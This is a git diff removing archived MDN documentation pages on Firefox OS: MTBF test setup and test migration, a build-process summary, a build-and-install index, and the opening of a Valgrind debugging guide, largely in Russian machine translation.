-<p>Running the Gaia-UI MTBF tests will result in data being erased from the Firefox OS device and microSD card. This is to ensure that the tests start cleanly each time. For example, running a contacts test on a device that already has 10,000 contacts will have very different memory value results compared to running the same test on a device with no existing contacts. In order to run the tests, you must acknowledge that you are aware of this data loss risk. You should also <a href="/en-US/Firefox_OS/Developing_Gaia/Gaia_tools_reference#Backup_and_restore_profile">backup any data</a> you don't want to lose.</p>
-
-<p>To acknowledge the risks, add the following entry to your <code>testvars</code> file as the first field in the list: <code>"acknowledged_risks": true</code>.</p>
-
-<div class="note">
-<p><strong>Note</strong>: If the risks are not acknowledged in the <code>testvars</code> file, the tests will not run.</p>
-</div>
-
-<h3 id="Step_5_Connect_to_USB_and_ADB_Forward_the_Device">Step 5: Connect to USB and ADB Forward the Device</h3>
-
-<p>Attach the Firefox OS device to your computer via USB.</p>
-
-<div class="note">
-<p><strong>Note</strong>: If you’re using an Ubuntu VM, after attaching the device ensure the VM sees the device and connects to it; in the VM select <strong>VM &gt; Removable Devices &gt; Your Device &gt; Connect</strong> and wait for the device to connect to the VM.</p>
-</div>
-
-<p>Now tell <code>adb</code> to forward the device port to GaiaTest using the following command:</p>
-
-<pre class="brush: bash">adb forward tcp:2828 tcp:2828</pre>
-
-<div class="note">
-<p><strong>Note</strong>: If you are using the Firefox OS Leo device, you must first tell ADB to be the root user, like so:</p>
-
-<pre>adb root
-adb forward tcp:2828 tcp:2828</pre>
-</div>
-
-<h3 id="Step_6_Run_a_Test">Step 6: Run a Test</h3>
-
-<p>Now you’re ready to actually try running a test. Use the following commands:</p>
-
-<pre class="brush: bash">cd {MTBF Driver Folder}
-MTBF_TIME=1d MTBF_CONF=conf/local.json mtbf --address=localhost:2828 --testvars=mytestvars.json</pre>
-
-<p>We can parse the <code>MTBF_TIME</code> by d(ay), h(our), or m(inute).</p>
-
-<p>If you get a “connection refused” error it means the device USB connection didn’t work; just repeat the device connection and try again.</p>
-
-<p>The Firefox OS device b2g process should now restart, then the specified test will run with a single iteration. If you watch the Firefox OS device, you’ll see the device UI being manipulated by Marionette. After the test finishes, a memory checkpoint will be performed.</p>
-
-<div class="note">
-<p><strong>Note</strong>: The Gaia-UI MTBF tests now grab the Firefox OS device’s b2g process RSS value for the memory use checkpoint (it used to be the V-SIZE value.)</p>
-</div>
-
-<p>The test result will be displayed in the terminal window. Note that this result doesn’t include the b2g process memory value; this value is stored in a text file, created at the time of the checkpoint in the <code>checkpoints</code> directory. To see the resulting b2g process, open this file. This "suite_summary" file will contain the average b2g process memory use (RSS) value, averaged from all the test checkpoints (in our example there was only one checkpoint.)</p>
-
-<p>There are two other files present in the <code>checkpoints</code> folder (assuming the test run was the "add contact" test):</p>
-
-<ul>
- <li>The <code>checkpoint_add_contact_(datetime)_summary.log</code> file contains a summary for the test run. This includes the number of iterations, all of the RSS value readings from each checkpoint, the average RSS value, etc.</li>
- <li>The <code>checkpoint_add_contact_(datetime).log</code> file contains the raw data received from each of the device checkpoints, from which the summary files were produced.</li>
-</ul>
-
-<h3 id="Step_7_Using_Variables_and_Config_Files">Step 7: Using Variables and Config Files</h3>
-
-<p>We use envrionment variable MTBF_TIME for running duration.  The other one is MTBF_CONF which refers to json file, specific runner options include test case repository and list.  A normal config file should look like </p>
-
-<pre><code>{
- "memory_report": false,
- "logcat": true,
- "overall_status": true,
- "b2g_status": true,
- "get_event": true,
- "rootdir": "tests/mtbf",
- "workspace": "/tmp/workspace",
- "manifest_prefix": "mtbf",
- "archive": "output",
- "runlist": "runlist/all.list",
- "level": 4
-}</code></pre>
-
-<ul>
- <li>memory_report, locat, overall_status, b2g_status and get event help: options for collecting debug information.</li>
- <li>rootdir: root of test case repository for searching and matching in runlist.</li>
- <li>workspace: running materials will be stored here for replay.</li>
- <li>manifest_prefix: currently not available.</li>
- <li>archive: specifying folder for storing report and debug information</li>
- <li>runlist: json file by a list of test case file path.  Test cases will be randomly picked and put into running queue.</li>
- <li>level: specify how often a dummy case (to simulator user not focusing) should be triggered. level 0 is no test will be run, where level 5 means no dummy test enqueued.</li>
-</ul>
-
-<h2 id="Contributing_to_the_project">Contributing to the project</h2>
-
-<p>If you have any questions about the Firefox OS MTBF tests or are interested in contributing to this important automation development effort, feel free to contact us at wachen@mozilla.com</p>
-
-<h2 id="How_to_migrate_test_cases_from_Gaia-ui-tests">How to migrate test cases from Gaia-ui-tests</h2>
-
-<p>This section provides a guide to migrating tests between gaia-ui tests and MTBF.</p>
-
-<h3 dir="ltr" id="Step_1_Rename">Step 1: Rename</h3>
-
-<ul>
- <li><code>from MtbfTestCase import GaiaMtbfTestCase</code>
-
- <ul>
- <li>(original) <code>from gaiatest import GaiaTestCase</code></li>
- </ul>
- </li>
- <li><code>class XXX(GaiaMtbfTestCase)</code>
- <ul>
- <li>(original) <code>class XXX(GaiaTestCase)</code></li>
- </ul>
- </li>
- <li>If it has a <code>setUp()</code> or <code>tearDown()</code> method, use <code>GaiaMtbfTestCase</code>
- <ul>
- <li>(original) <code>GaiaTestCase</code></li>
- </ul>
- </li>
-</ul>
-
-<h3 dir="ltr" id="Step_2_Add">Step 2: Add</h3>
-
-<ul>
- <li>If there's no <code>setUp()</code> method , add it before the general test function.</li>
- <li>Add <code>GaiaMtbfTestCase.setUp(self)</code> as the first step of <code>setUp()</code>.
- <ul>
- <li>Environment check/recovery and app initialization.</li>
- <li><code>launch</code> &gt; <code>launch_by_touch</code> if possible.</li>
- <li>Get the handle using <code>self.app_id</code>.</li>
- </ul>
- </li>
- <li>If there's no <code>tearDown()</code> method, add it after the general test function.</li>
- <li>Add <code>GaiaMtbfTestCase.tearDown(self)</code> as the last step of <code>tearDown()</code>.
- <ul>
- <li>Handle data after the test is finished (delete/remove/move/etc.)</li>
- </ul>
- </li>
-</ul>
-
-<h3 id="Step_3_Principles">Step 3: Principles</h3>
-
-<ul>
- <li>Modify <code>assert()</code> functions in your tests (make sure they work for multiple test cases.)</li>
- <li>If porting cases from Gaia-UI-Test, you need to declare <code>app</code> as a test class member.</li>
- <li>If multiple apps init/launch in a case; please refer to the <code>card_view</code> cases.
- <ul>
- <li>Unless your clean actions don't involve UI interactions, avoid this scenario if you can.</li>
- <li>For example, use device manager to remove the file on the device.</li>
- <li>In such cases, you may need to call <code>marionette.refresh()</code> to get the latest update.</li>
- </ul>
- </li>
- <li>Replace <code>datetime.fromtimestamp</code> with <code>datetime.utcfromtimestamp</code> if you want to implement calendar related cases.</li>
-</ul>
-
-<h3 id="Step_4_About_apps">Step 4: About apps</h3>
-
-<ol>
- <li><code>apps</code> &gt; <code>mtbf_apps</code> if needed.</li>
- <li>Import original apps.</li>
- <li>Add <code>__init__()</code> and any functions you need.</li>
-</ol>
-
-<h3 id="Step_5_After_you_have_finished">Step 5: After you have finished</h3>
-
-<ol>
- <li>Test each test case using <em>Test full suite &gt; Test full suite with shuffle</em></li>
- <li>Check PEP8 errors</li>
- <li>Use a pull request to add your test cases to the main repo! Do not push directly.</li>
-</ol>
diff --git a/files/ru/archive/b2g_os/building_and_installing_firefox_os/firefox_os_build_process_summary/index.html b/files/ru/archive/b2g_os/building_and_installing_firefox_os/firefox_os_build_process_summary/index.html
deleted file mode 100644
index 9d66609e13..0000000000
--- a/files/ru/archive/b2g_os/building_and_installing_firefox_os/firefox_os_build_process_summary/index.html
+++ /dev/null
@@ -1,149 +0,0 @@
----
-title: Firefox OS build process summary
-slug: >-
- Archive/B2G_OS/Building_and_installing_Firefox_OS/Firefox_OS_build_process_summary
-translation_of: Archive/B2G_OS/Building_and_installing_B2G_OS/B2G_OS_build_process_summary
----
-<div class="summary">
-<p><span id="result_box" lang="ru"><span class="hps">Сборка и установка</span> <span class="hps">Firefox</span> <span class="hps">OS</span> <span class="hps">требует значительного количества</span> <span class="hps">времени</span><span>, пропускной способности</span> <span class="hps">сети и</span> <span class="hps">вычислительную мощность</span><span>.</span> <span class="hps">К сожалению</span><span>, по пути</span><span>, что то может</span><span> пойти</span> <span class="hps">не так.</span> <span class="hps">Эта страница</span> <span class="hps">излагает цели</span> <span class="hps">процесса</span> <span class="hps">сборки</span> <span class="hps">и</span> <span class="hps">его этапы</span>, <span class="hps">для того, чтобы</span> <span class="hps">помочь</span> <span class="hps">пользователям</span> <span class="hps">в пути</span><span>.</span> <span class="hps">Подробная информация о</span> <span class="hps">каждом шаге</span> <span class="hps">рассматривается в</span> <span class="hps">связанных страницах</span><span>.</span></span>.</p>
-</div>
-
-<div class="note">
-<p><strong style="font-weight: bold;">Примечание:</strong> В процессе сборки Firefox OS будет множество ссылок на 'B2G' или 'Boot2Gecko'. 'Boot2Gecko' это оригинальное название пректа Firefox OS.</p>
-</div>
-
-<h2 id="Цель_моделирования_четыре_файла_'образа'">Цель моделирования: четыре файла 'образа'</h2>
-
-<p><span id="result_box" lang="ru"><span class="hps">Общая цель</span> <span class="hps">процесса сборки</span> <span class="hps">является</span> <span class="hps">построить четыре</span> <span class="hps">файлы, которые</span> <span class="hps">можно скопировать</span> <span class="hps">на устройство</span> <span class="hps">Firefox</span> <span class="hps">OS</span><span>.</span></span></p>
-
-<table style="margin: 4px auto; vertical-align: top; width: 90%;">
- <tbody>
- <tr>
- <td><strong>boot.img</strong></td>
- <td><span id="result_box" lang="ru"><span class="hps">Ядро</span> <span class="hps">Linux</span> <span class="hps">и корень</span> <span class="hps">файловой системы</span> <span class="hps">образа</span><span>, последний</span> <span class="hps">обеспечивает</span> <span class="hps">полезный</span> <span class="hps">набор</span> <span class="hps">основных инструментов</span> <span class="hps">Unix</span></span>.</td>
- </tr>
- <tr>
- <td><strong>system.img</strong></td>
- <td>Ядро Firefox OS включающее части Gonk, порт Gecko, и исполняемый фаил b2g.</td>
- </tr>
- <tr>
- <td><strong>userdata.img</strong></td>
- <td>Профиль пользователя Gecko и веб приложения для устройства Gaia.</td>
- </tr>
- <tr>
- <td><strong>recovery.img</strong></td>
- <td>Ядро Linux и корень файловой системы образа совместно с простым инструментом, чтобы исправить неправильную установку.</td>
- </tr>
- </tbody>
-</table>
-
-<p>После создания четырех образов, необходимо перенести их на устройство.</p>
-
-<p>Firefox OS строится на вершине базовой основы для Android Open Source Project (AOSP). AOSP инструменты <code>adb</code> и <code>fastboot</code> обеспечивают мощные способы доступа и управлеия устройства.Примечательно, что команда <code>adb reboot-bootloader</code> может подключиться к устройству чтобы перезагрузить и приостановить загрузку на ранней стадии, где команда <code>fastboot flash $partition $image</code> может использоваться для копирования образа на устройстве.</p>
-
-<h3 id="Загрузочный_образ"><span class="short_text" id="result_box" lang="ru"><span class="hps">Загрузочный образ</span></span></h3>
-
-<p><span id="result_box" lang="ru"><span class="hps">Загрузочный образ</span> <span class="atn hps">(</span><span>boot.img</span><span>)</span> <span class="hps">представляет собой сочетание</span> <span class="hps">ядр<s>о</s> и</span> <span class="hps">начального</span> <span class="hps">корневого раздела</span><span>, обеспечивающего</span> <span class="hps">основную</span> <span class="hps">утилиту</span> <span class="hps">программного обеспечения и</span> <span class="hps">сценарий</span> <span class="hps">инициализации.</span> <span class="hps">Последнее</span> <span class="hps">будет скопирован</span> <span class="hps">в память</span> <span class="hps">устройства</span> <span class="hps">для эффективного</span> <span class="hps">использования</span> <span class="hps">устройства</span> <span class="hps">и, следовательно,</span> <span class="hps">называется</span> <span class="atn hps">"</span><span>электронный диск</span><span>"</span><span>.</span> <span class="hps">Загрузочный образ</span> <span class="hps">будет</span> <span class="hps">скопирован в</span> раздел <span class="atn hps">"</span><span>загрузки</span><span>"</span> <span class="hps"> на</span> <span class="hps">устройстве и</span> <span class="hps">содержимое</span> <span class="hps">электронного диска</span> <span class="hps">видны</span> <span class="hps">начиная с</span> <span class="hps">корневого каталога</span> <span class="hps">при проверке файловой системы</span> <span class="hps">устройства</span> <span class="hps">доступ</span> <span class="hps">во время выполнения,</span> <span class="hps">например, при использовании</span> <span class="hps">adb</span> <span class="hps">оболочки</span><span>.</span></span></p>
-
-<p><span id="result_box" lang="ru"><span class="hps">Загрузочный образ</span> <span class="hps">также устанавливает</span> <span class="hps">права доступа</span> <span class="hps">пользователя в </span> <span class="hps">корневой</span><span class="hps"> файл</span> <span class="hps">default.prop</span> <span class="hps">в корневом каталоге</span><span>.</span></span></p>
-
-<p><span id="result_box" lang="ru"><span class="hps">Можно также</span> <span class="hps">изменять существующие</span> <span class="hps">загрузочные образы</span> <span class="hps">путем проверки</span> <span class="hps">файла</span><span>, разделив</span> <span class="hps">файл на</span> <span class="hps">образ ядра</span> <span class="hps">и</span> загрузочный образ<span>,</span> <span class="hps">извлеките</span> <span class="hps">содержимое</span> загрузочного образа<span class="hps">,</span> <span class="hps">измените его</span> <span class="hps">содержимое</span><span>,</span> <span class="hps">повторно сберите загрузочный образ</span><span>, а затем</span> <span class="hps">восстановите</span> <span class="hps">функции</span> <span class="hps">boot.img</span> <span class="hps">,</span> <span class="hps">См</span><span>,</span> <span class="hps">например,</span></span> <a href="http://k.japko.eu/alcatel-otf-hackers-guide-1.html">Alcatel One Touch Fire Hacking (Mini) Guide</a> .</p>
-
-<p><span id="result_box" lang="ru"><span class="hps">Загрузочный образ</span> <span class="hps">перед установкой</span> <span class="atn hps">необходимо проверить на '</span><span class="hps">sideloading</span><span class="atn hps">'</span></span><span lang="ru"> <span>;</span> <span class="hps">устройство можно</span><span class="hps"> запускать</span> <span class="hps">и останавливать</span> <span class="hps">в загрузчике</span><span>, затем</span> <span class="hps">быструю загрузку</span> <span class="hps">можно</span> <span class="hps">будет использовать для загрузки</span> <span class="hps">из</span> <span class="hps">загрузочного образа</span><span>, без установки его</span> <span class="hps">с помощью команды</span></span> <code>fastboot boot /some/path/to/boot.img</code>.</p>
-
-<h3 id="Системный_образ">Системный образ</h3>
-
-<p>Системный образ (<code>system.img</code>) обеспечивает основу Firefox OS:</p>
-
-<ul>
- <li><strong>Gonk</strong>: <span class="short_text" id="result_box" lang="ru"><span class="hps">компоненты</span> <span class="hps">низкого уровня</span> <span class="hps">операционной</span> <span class="hps">системы</span></span></li>
- <li><strong>Gecko</strong>: порт для Firefox HTML отображения и JavaScript движка</li>
- <li><strong>B2G</strong>: ядро процесса выполняющегося операционной системой</li>
-</ul>
-
-<div class="note">
-<p>Смотрите <a href="https://developer.mozilla.org/en-US/Firefox_OS/Platform">the Firefox OS platform</a> <span id="result_box" lang="ru"><span class="hps">руководство для</span> <span class="hps">получения более подробной информации</span> <span class="hps">об архитектуре</span> <span class="hps">платформы.</span></span></p>
-</div>
-
-<p>Системный образ<span lang="ru"><span class="hps"> будет скопирован</span> <span class="hps">в системный раздел</span><span class="hps"> устройства</span> <span class="hps">и будет виден</span> <span class="hps">в директории</span> <span class="hps">/</span> <span class="alt-edited hps">system</span> <span class="hps">/</span>  <span class="hps">при проверке файловой системы</span> <span class="hps">устройства</span> <span class="hps">доступны</span> <span class="hps">во время выполнения</span></span>.</p>
-
-<div class="note">
-<p><strong>Note</strong>: The System Image also provides the binary blobs that may be used by the device, notably the RIL (Radio Interface Layer) blob controlling the cellular radio on the device.</p>
-</div>
-
-<h3 id="The_User_Data_Image">The User Data Image</h3>
-
-<p>The User Data Image (<code>userdata.img</code>) provides the Gaia applications loaded at runtime.</p>
-
-<p>The User Data Image will be copied to the <code>userdata</code> partition on the device and the contents will be visible in the <code>/data/</code> directory when the device filesystem is accessed at runtime. Notably the <code>/data/b2g/</code> directory contains the Mozilla Gecko <em>profile</em> of the device user while the <code>/data/local/webapps/</code> directory contains the actual web applications available to the user.</p>
-
-<h3 id="The_Recovery_Image">The Recovery Image</h3>
-
-<p>The Recovery Image (<code>recovery.img</code>) contains the same kernel and a similar ramdisk as are present on the Boot Image partition. The recovery image however uses a different initialization script, which leads the user to a set of recovery commands accessible using the hardware buttons on the device.</p>
-
-<p>The Recovery Image will be copied to the <code>recovery</code> partition on the device, which is not mounted onto the filesystem at regular runtime.</p>
-
-<h2 id="The_Build_Process_setup_configure_build_install">The Build Process: setup, configure, build, install</h2>
-
-<p>The overall process of building and installing Firefox OS involves four steps:</p>
-
-<table style="margin: 4px auto; vertical-align: top; width: 90%;">
- <tbody>
- <tr>
- <td><strong>Setup</strong></td>
- <td>Obtain copies of all the programs used by the build process, such as the right compilers and libraries.</td>
- </tr>
- <tr>
- <td><strong>Configure</strong></td>
- <td>Download the source code that will be built and create the <code>.configure</code> file that defines environmental variables specifying the paths and other values used in the build.</td>
- </tr>
- <tr>
- <td><strong>Build</strong></td>
- <td>Build the Gecko profile of the user and the Gaia web applications for the device.</td>
- </tr>
- <tr>
- <td><strong>Install</strong></td>
- <td>Install the files on a device.</td>
- </tr>
- </tbody>
-</table>
-
-<p> </p>
-
-<h3 id="Setup">Setup</h3>
-
-<p>Inital setup must be done to ensure the computer running the build has all of the software required during the build, such as compilers and build tools.</p>
-
-<p>This step can be done by hand or using a script. Details are discussed in the <a href="/en-US/Firefox_OS/Firefox_OS_build_prerequisites" title="Firefox OS build prerequisites">Firefox OS build prerequisites</a> page.</p>
-
-<div class="note">
-<p><strong>Note</strong>: On UNIX and UNIX-like machines, the presence of the required software can be checked using the unix command <code>which</code> with the name of the required program as a parameter.</p>
-</div>
-
-<h3 id="Configuration">Configuration</h3>
-
-<p>The actual build process starts with obtaining a copy of the Firefox OS (or B2G) software, usually by creating a Git clone of the <code>B2G</code> project. The build configuration will both obtain copies of all the source code which is to be built and create the <code>.config</code> file that specifies variables for the build.</p>
-
-<p>This is run with the <code>config.sh</code> script. Details are discussed in the <a href="/en-US/Firefox_OS/Preparing_for_your_first_B2G_build" title="Preparing for your first B2G build">Preparing for your first B2G build</a> page.</p>
-
-<p>The configure script needs a parameter specifying the type of device to build. The build names are code names linked to the CPU architecture rather than a specific device, and there is currently no way to establish which build works for which physical device. A list of available code names can be <a href="/en-US/Firefox_OS/Phones">found here</a>.</p>
-
-<p>The configure step will also use the Android Open Source Project <code>repo</code> tool to download (or update) a copy of all the code used in the build. These copies will be stored in the <code>.repo/projects</code> directory. Due to this activity, the configure step can take a long time and will download a lot of data.</p>
-
-<h3 id="Build">Build</h3>
-
-<p>The build step will actually compile all of the source code and produce the output images.</p>
-
-<p>This is run with the <code>build.sh</code> script. Details are discussed in the <a href="/en-US/Firefox_OS/Building" title="Building">Building Firefox OS</a> page.</p>
-
-<p>By default, the build step is monolithic, attempting to build everything at once from the Android Open Source Project tools to the Linux kernel to the Gaia web applications. When the build fails, it can sometimes be unclear in which step it has failed.</p>
-
-<p>It is possible to build only certain parts of the whole Firefox  stack. For example, the Gecko system only can be built by calling the build script with the <code>gecko</code> parameter. Similarly, Gaia can be built on its own using the <code>gaia</code> parameter. These parts can then be installed separately onto the device as explained next.</p>
-
-<p>It is also possible to build the images discussed in the first part of this page. For example, the system image can be built using <code>./build.sh out/platform/$target/system.img</code>, where the <code>$target</code> parameter is the same as given in the Configuration step.</p>
-
-<h3 id="Install">Install</h3>
-
-<p>The install step will place the newly compiled code onto a device. This is run with the <code>flash.sh</code> script.</p>
-
-<p>Individual parts of the build can be installed by adding a parameter to the flash script. For example, it is possible to install only the gaia web applications by specifying <code>./flash.sh gaia</code>.</p>
diff --git a/files/ru/archive/b2g_os/building_and_installing_firefox_os/index.html b/files/ru/archive/b2g_os/building_and_installing_firefox_os/index.html
deleted file mode 100644
index fb71da5b51..0000000000
--- a/files/ru/archive/b2g_os/building_and_installing_firefox_os/index.html
+++ /dev/null
@@ -1,60 +0,0 @@
----
-title: Сборка и установка Firefox OS
-slug: Archive/B2G_OS/Building_and_installing_Firefox_OS
-translation_of: Archive/B2G_OS/Building_and_installing_B2G_OS
----
-<p>Поскольку Firefox OS сейчас находится в стадии в активной разработки и в предрелизном состоянии, лучший способ удостовериться, что у Вас установлена последняя версия, заключается в самостоятельной сборке и установке. Статьи, перечисленные на этой странице, помогут Вам в процессе сборки и установки Firefox OS на эмуляторе, или совместимом устройстве или пользовательском интерфейсе <a href="/en-US/docs/Mozilla/Boot_to_Gecko/Introduction_to_Gaia" title="en-US/docs/Mozilla/Boot_to_Gecko/Introduction_to_Gaia">Gaia</a> в броузере Firefox.</p>
-<table class="topicpage-table">
- <tbody>
- <tr>
- <td>
- <h2 class="Documentation" id="КАК_ПОЛУЧИТЬ_И_СОБРАТЬ_FIREFOX_OS">КАК ПОЛУЧИТЬ И СОБРАТЬ FIREFOX OS</h2>
- <dl>
- <dt>
- <a href="/en-US/docs/Mozilla/Boot_to_Gecko/B2G_build_prerequisites" title="en-US/docs/Mozilla/Boot_to_Gecko/B2G build prerequisites">Прежде, чем собрать</a> <a href="/en-US/docs/Mozilla/Boot_to_Gecko/B2G_build_prerequisites" title="en-US/docs/Mozilla/Boot_to_Gecko/B2G build prerequisites">Firefox OS</a></dt>
- <dd>
- Что Вам потребуется (и что нужно сделать) перед сборкой Firefox OS в первый раз.</dd>
- <dt>
- <a href="/en-US/docs/Mozilla/Boot_to_Gecko/Preparing_for_your_first_B2G_build" title="/en-US/docs/Mozilla/Boot_to_Gecko/Preparing for your first B2G build">Подготовка к первой сборке Firefox OS</a></dt>
- <dd>
- Прежде чем вы сможете собрать Firefox OS, необходимо скопировать из репозитория и настроить сборку. Данная статья объясняет, как это сделать.</dd>
- <dt>
- <a href="/en-US/docs/Mozilla/Boot_to_Gecko/Building_Boot_to_Gecko" title="en-US/docs/Mozilla/Boot_to_Gecko/Building Boot to Gecko">Сборка Firefox OS</a></dt>
- <dd>
- Как собрать Firefox OS.</dd>
- </dl>
- <p><span class="alllinks"><a href="/en-US/docs/tag/B2G" title="/en-US/docs/tag/B2G">Подробнее...</a></span></p>
- </td>
- <td>
- <h2 class="Community" id="УСТАНОВКА_FIREFOX_OS_ИИЛИ_Gaia">УСТАНОВКА FIREFOX OS  И/ИЛИ Gaia</h2>
- <dl>
- <dt>
- <a href="/en-US/docs/Mozilla/Boot_to_Gecko/Choosing_how_to_run_Gaia_or_B2G" title="en-US/docs/Mozilla/Boot_to_Gecko/Choosing how to run Gaia or B2G">Выбираем как запустить Gaia или Firefox OS</a></dt>
- <dd>
- Вы можете использовать Gaia в Firefox, или запустить Firefox OS на мобильном устройстве или в настольном симуляторе. <span id="result_box" lang="ru"><span class="hps gt-trans-draggable">Это</span> <span class="hps gt-trans-draggable">руководство поможет Вам</span> <span class="hps gt-trans-draggable">решить, что лучше</span> <span class="hps gt-trans-draggable">для Ваших нужд.</span></span></dd>
- <dt>
- <a href="/en-US/docs/Mozilla/Boot_to_Gecko/Using_Gaia_in_Firefox" title="en-US/docs/Mozilla/Boot_to_Gecko/Using Gaia in Firefox">Использование Gaia в Firefox</a></dt>
- <dd>
- Как использовать Gaia с помощью настольного Firefox браузера.</dd>
- <dt>
- <a href="/en-US/docs/Mozilla/Boot_to_Gecko/Using_the_B2G_desktop_client" title="en-US/docs/Mozilla/Boot_to_Gecko/Using_the_B2G_desktop_client">Использование Firefox OS десктопного клиента</a></dt>
- <dd>
- <span id="result_box" lang="ru"><span class="gt-trans-draggable">Руководство по запуску</span> <span class="hps gt-trans-draggable">и использованию</span> <span class="hps gt-trans-draggable">Firefox</span> <span class="hps gt-trans-draggable">ОС</span> <span class="hps gt-trans-draggable">в десктопном клиенте, имитирующем</span></span> окружение Gaia в настольных приложениях. Это даёт более точный результат, чем использование Gaia в Firefox, но менее точный, чем в эмуляторе.</dd>
- <dt>
- <a href="/en-US/docs/Mozilla/Boot_to_Gecko/Using_the_B2G_emulators" title="en-US/docs/Mozilla/Boot_to_Gecko/Using the B2G emulators">Использование Firefox OS эмуляторов</a></dt>
- <dd>
- <span id="result_box" lang="ru"><span>Руководство по сборке</span> <span class="hps">и использованию</span> <span class="hps">Firefox</span> <span class="hps">OS</span> <span class="hps">эмуляторов,</span> <span class="hps">и когда какой </span> </span><span id="result_box" lang="ru"><span class="hps">эмулятор</span></span> лучше<span id="result_box" lang="ru"><span class="hps"> использовать</span></span>.</dd>
- <dt>
- <a href="/en-US/docs/Mozilla/Boot_to_Gecko/Installing_Boot_to_Gecko_on_a_mobile_device" title="en-US/docs/Mozilla/Boot_to_Gecko/Installing Boot to Gecko on a mobile device">Установка Firefox OS на мобильное устройство</a></dt>
- <dd>
- Как установить Firefox OS на мобильное устройство.</dd>
- <dt>
- <a href="/en-US/docs/Mozilla/Boot_to_Gecko/Dual_boot_of_B2G_and_Android_on_SGS2" title="/en-US/docs/Mozilla/Boot_to_Gecko/Dual boot of B2G and Android on SGS2">Двойная загрузка Firefox OS и Android на SGS2</a></dt>
- <dd>
- Как настроить двойную загрузку Firefox OS/Android на Samsung Galaxy S2.</dd>
- </dl>
- </td>
- </tr>
- </tbody>
-</table>
-<p> </p>
diff --git a/files/ru/archive/b2g_os/debugging/debugging_b2g_using_valgrind/index.html b/files/ru/archive/b2g_os/debugging/debugging_b2g_using_valgrind/index.html
deleted file mode 100644
index 1da26c0654..0000000000
--- a/files/ru/archive/b2g_os/debugging/debugging_b2g_using_valgrind/index.html
+++ /dev/null
@@ -1,177 +0,0 @@
----
-title: Отладка B2G с помощью Valgrind
-slug: Archive/B2G_OS/Debugging/Debugging_B2G_using_valgrind
-translation_of: Archive/B2G_OS/Debugging/Debugging_B2G_using_valgrind
----
-<p></p><section class="Quick_links" id="Quick_Links">
-
-<ol>
- <li class="toggle">
- <details>
- <summary>Build and install</summary>
- <ol>
- <li><strong><a href="/ru/docs/Mozilla/B2G_OS/Building_and_installing_B2G_OS">Build and install overview</a></strong></li>
- <li><a href="/ru/docs/Mozilla/B2G_OS/Building_and_installing_B2G_OS/B2G_OS_build_process_summary">B2G OS build process summary</a></li>
- <li><a href="/ru/docs/Mozilla/B2G_OS/B2G_OS_build_prerequisites">Build prerequisites</a></li>
- <li><a href="/ru/docs/Mozilla/B2G_OS/Preparing_for_your_first_B2G_build">Preparing for your first build</a></li>
- <li><a href="/ru/docs/Mozilla/B2G_OS/Building">Building B2G OS</a></li>
- <li><a href="/ru/docs/Mozilla/B2G_OS/Building_and_installing_B2G_OS/B2G_installer_add-on">B2G installer add-on</a></li>
- <li><a href="/ru/docs/Mozilla/B2G_OS/Building_and_installing_B2G_OS/Building_for_Flame_on_OS_X">Building B2G OS for Flame on Mac OS X</a></li>
- <li><a href="/ru/docs/Mozilla/B2G_OS/Choosing_how_to_run_Gaia_or_B2G">Choosing how to run Gaia or B2G OS</a></li>
- <li><a href="/ru/docs/Mozilla/B2G_OS/Building_and_installing_B2G_OS/Compatible_Devices">Compatible Devices</a></li>
- <li><a href="/ru/docs/Mozilla/B2G_OS/Installing_on_a_mobile_device">Installing B2G OS on a mobile device</a></li>
- <li><a href="/ru/docs/Mozilla/B2G_OS/Building_and_installing_B2G_OS/B2G_OS_update_packages">Creating and applying B2G OS update packages</a></li>
- <li><a href="/ru/docs/Mozilla/B2G_OS/Building/FOTA_community_builds">Building and installing FOTA community builds</a></li>
- <li><a href="/ru/docs/Mozilla/B2G_OS/Building_and_installing_B2G_OS/B2G_Build_Variables_Reference_Sheet">B2G build variables reference sheet</a></li>
- </ol>
- </details>
- </li>
- <li class="toggle">
- <details>
- <summary>Porting B2G OS</summary>
- <ol>
- <li><strong><a href="/ru/docs/Mozilla/B2G_OS/Porting_B2G_OS">Porting overview</a></strong></li>
- <li><a href="/ru/docs/Mozilla/B2G_OS/Porting_B2G_OS/basics">Porting basics</a></li>
- <li><a href="/ru/docs/Mozilla/B2G_OS/Porting_B2G_OS/Porting_on_CyanogenMod">Porting on CyanogenMod</a></li>
- </ol>
- </details>
- </li>
- <li class="toggle">
- <details>
- <summary>Developing Gaia</summary>
- <ol>
- <li><strong><a href="/ru/docs/Mozilla/B2G_OS/Developing_Gaia">Developing Gaia overview</a></strong></li>
- <li><a href="/ru/docs/Mozilla/B2G_OS/Developing_Gaia/Running_the_Gaia_codebase">Running the Gaia codebase</a></li>
- <li><a href="/ru/docs/Mozilla/B2G_OS/Mulet">Run Gaia on desktop using Mulet</a></li>
- <li><a href="/ru/docs/Mozilla/B2G_OS/Developing_Gaia/Understanding_the_Gaia_codebase">Understanding the Gaia codebase</a></li>
- <li><a href="/ru/docs/Mozilla/B2G_OS/Developing_Gaia/Making_Gaia_code_changes">Making Gaia code changes</a></li>
- <li><a href="/ru/docs/Mozilla/B2G_OS/Developing_Gaia/Testing_Gaia_code_changes">Testing Gaia code changes</a></li>
- <li><a href="/ru/docs/Mozilla/B2G_OS/Developing_Gaia/Submitting_a_Gaia_patch">Submitting a Gaia patch</a></li>
- <li><a href="/ru/docs/Mozilla/B2G_OS/Developing_Gaia/Build_System_Primer">Gaia build system primer</a></li>
- <li><a href="/ru/docs/Mozilla/B2G_OS/Developing_Gaia/Different_ways_to_run_Gaia">Different ways to run Gaia</a></li>
- <li><a href="/ru/docs/Mozilla/B2G_OS/Developing_Gaia/make_options_reference">Make options reference</a></li>
- <li><a href="/ru/docs/Mozilla/B2G_OS/Developing_Gaia/Gaia_tools_reference">Gaia tools reference</a></li>
- </ol>
- </details>
- </li>
- <li><a href="/ru/docs/Mozilla/B2G_OS/API">B2G OS APIs</a></li>
-</ol>
-</section><p></p>
-
-<p class="summary">Инструмент Memcheck Valgrind обнаруживает ошибки C ++ управления памятью, которые могут привести к стабильности и безопасности проблем: использование освобожденной памяти, кучи перерасход массива, использует неинициализированной значений и утечек памяти. Он включен в дереве Firefox OS, и может работать на некоторых телефонах, которые имеют достаточные ресурсы. В этой статье объясняется, как использовать его.<br>
- Требования<br>
- Перед запуском Valgrind против Firefox OS, рекомендуется, чтобы разработчики ознакомиться с Debugging Mozilla со статьей Valgrind. Большая часть содержащейся в нем информации имеет отношение к работает против Firefox OS, хотя многие из сборки и командных этапов линии заботятся операционной системой сборки и выполнения сценариев Firefox.</p>
-
